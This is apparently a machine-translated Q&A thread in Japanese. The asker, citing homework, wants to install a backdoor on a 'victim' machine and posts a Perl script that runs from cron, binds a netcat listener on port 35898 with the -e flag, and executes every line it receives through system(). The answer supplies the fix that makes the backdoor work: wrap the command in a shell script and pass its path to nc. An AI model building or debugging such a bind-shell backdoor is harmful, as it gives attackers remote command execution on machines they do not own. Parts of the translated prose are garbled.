-1

宿題のために被害者のマシンにバックドアを設置するように依頼されました。マシンにアクセスできたので、次のスクリプトをで実行したいのですがcron、エラーが発生します。

ダミー引数@ARGVの有無にかかわらずプログラムを個別に呼び出すことでテストが正しく機能することを確認しましたが、スクリプトの初期化後に被害者のマシンにアクセスしようとすると、接続時に次のエラーが発生します。runnetcatport 35898

エラー: exec /bin/vshell run failed : No such file or directory

プログラムがそれ自体を呼び出しているので、明らかにプログラムは存在します。

コード:

#!/usr/bin/perl -w

$| = 1;
my $prompt = '$ ';

# run is just a dummy arg
if(!@ARGV){ exec("nc -e '/bin/vshell run' -l -p 35898"); die; }

while(1){
  print $prompt;
  eval {
    local $SIG{ALRM} = sub { die 'Goodbye!\n'; };

    alarm 60;
    &syscall;
    alarm 0;
  };
  if( $@ ){ die; }
}

sub syscall{
  if( defined( $_ = <STDIN> )){
    chomp;
    system( $_ );
  }
}

私はしばらくこれに取り組んできました、そして私は本当に正しい方向にナッジを使うことができました。ありがとう!

PS:のこのインストールは、フラグncを許可するセキュリティホールを使用してコンパイルされており、他のプログラムでこの機能を検証しました。-e

4

1 に答える 1

3

/bin/vshell」は存在するかもしれませんが、「/bin/vshell run」は存在しません。どうやら、nc-e値は実行するファイルのパスでなければなりません。

を含むファイルを作成します

#!/bin/sh
exec /bin/vshell run

代わりにそのパスを渡します。

于 2012-10-25T03:51:32.383 に答える